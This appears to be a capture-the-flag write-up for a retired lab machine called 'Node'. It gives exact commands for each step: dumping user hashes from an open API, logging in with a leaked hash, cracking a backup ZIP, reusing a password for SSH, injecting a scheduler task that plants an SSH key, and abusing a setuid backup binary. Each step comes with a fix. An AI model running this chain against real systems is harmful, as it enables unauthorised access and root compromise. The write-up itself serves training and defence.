Node
Summary
The target Node.js/Express application on port 3000 exposed an unauthenticated REST endpoint that returned every user's account document, including the administrator's SHA-256 password hash. Submitting that leaked hash verbatim as the password field exploited a broken server-side comparison that expected a pre-hashed value, granting an admin session without any offline cracking. The admin session unlocked a backup download endpoint that returned a password-protected ZIP of the entire web root; John the Ripper recovered the archive password '[REDACTED: recovered credential]', and the extracted source file app.js contained a hardcoded MongoDB connection string whose password was reused verbatim as mark's Linux SSH credential.
From mark's shell, a root-owned MongoDB-backed task scheduler at /var/scheduler dequeued job documents inserted by any authenticated database user and executed their payload via child_process.exec; mark's database credentials granted write access to the scheduler collection, enabling injection of a task that planted I SSH public key in tom's home directory and yielded user.txt. As tom, membership in the admin group gave access to a setuid-root backup binary; invoking it with the backup key extracted from app.js archived /root, and decoding the resulting ZIP produced root.txt, completing full system compromise.
Command conventions
The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].
export TARGET="<retired-instance-ip>"
export USERNAME="<an-account-name-you-choose>"
export PASSWORD="<a-password-you-choose>"
export PASSWORD2="<a-password-you-choose>"
export PASSWORD5="<a-password-you-choose>"
export PASSWORD6="<a-password-you-choose>"Attack path — how the box was taken
Exact commands 2
nmap -sV -p 22,3000 --script http-title $TARGETcurl -s -i http://$TARGET:3000/Exact commands 2
curl -s http://$TARGET:3000/api/users/ | python3 -m json.toolcurl -s http://$TARGET:3000/api/users/latest | python3 -m json.toolFixRequire authentication on all API endpoints that return user dataCritical
Exact commands 1
curl -s -c cookies.txt -X POST http://$TARGET:3000/api/session/authenticate -H 'Content-Type: application/json' -d '{"username":"myP14ceAdm1nAcc0uNT","password":"$PASSWORD2"}'FixReplace SHA-256 password comparison with a proper adaptive hashing libraryCritical
Exact commands 4
curl -s -b cookies.txt http://$TARGET:3000/api/admin/backup | base64 -d > b.zipzip2john b.zip > b.hash && john b.hash --wordlist=/usr/share/wordlists/rockyou.txtunzip -P $PASSWORD5 b.zipgrep -nE 'mongodb|backup_key|password' var/www/myplace/app.jsFixRemove hardcoded credentials from source code and exclude secrets from backup archivesCritical
Exact commands 2
sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null mark@$TARGET 'id; whoami; hostname; ls -la /home/tom/user.txt'cat /var/scheduler/app.jsFixEnforce unique passwords and disable SSH password authenticationHigh
Exact commands 3
ssh-keygen -t rsa -b 2048 -N '' -f /tmp/tomkeysshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no mark@$TARGET "node -e 'var MC=require(\"mongodb\").MongoClient;MC.connect(\"mongodb://$USERNAME:$PASSWORD@localhost:27017/scheduler\",function(e,db){db.collection(\"tasks\").insert({cmd:\"mkdir -p /home/tom/.ssh && echo <TOMKEY_PUB> >> /home/tom/.ssh/authorized_keys && chmod 700 /home/tom/.ssh && chmod 600 /home/tom/.ssh/authorized_keys\"},function(e,r){console.log(\"inserted\");db.close()})});'"ssh -i /tmp/tomkey -o StrictHostKeyChecking=no tom@$TARGET 'id; cat /home/tom/user.txt'FixRestrict write access to the scheduler database and run the scheduler as a least-privilege accountCritical
Exact commands 3
id && find / -perm -4000 -user root 2>/dev/null | xargs ls -la 2>/dev/null | grep admin/usr/local/bin/backup -q $PASSWORD6 /root | base64 -d > /tmp/root_backup.zipscp -i /tmp/tomkey -o StrictHostKeyChecking=no tom@$TARGET:/tmp/root_backup.zip . && unzip -P $PASSWORD5 root_backup.zip && cat root/root.txtFixRemove the SUID bit from the backup binary and store the backup key in a secrets managerHigh
Attack patterns used
The transferable techniques behind this compromise.
Password / Credential ReuseCredential Access · Lateral MovementT1078
What it is
A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.
Why it works
Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.
Read more
Cron Job AbuseLinux · Privilege EscalationT1053.003
What it is
Scheduled tasks running as root that invoke a writable script, a wildcard, or a relative path can be hijacked. Watching processes with pspy (no root needed) reveals cron jobs; if the executed file or its directory is writable, an unauthorised user overwrites it with a payload that runs at the next interval as root.
Why it works
Cron jobs are written for convenience and often reference world-writable paths or use unsafe wildcards (tar *). Remediate with absolute paths, restrictive permissions on scripts, and avoiding shell wildcards in privileged cron jobs.
Read more
SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001
What it is
Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.
Why it works
SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.
Read more
Exposed services
| 22/tcp | ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0) |
| 3000/tcp | http Node.js Express framework |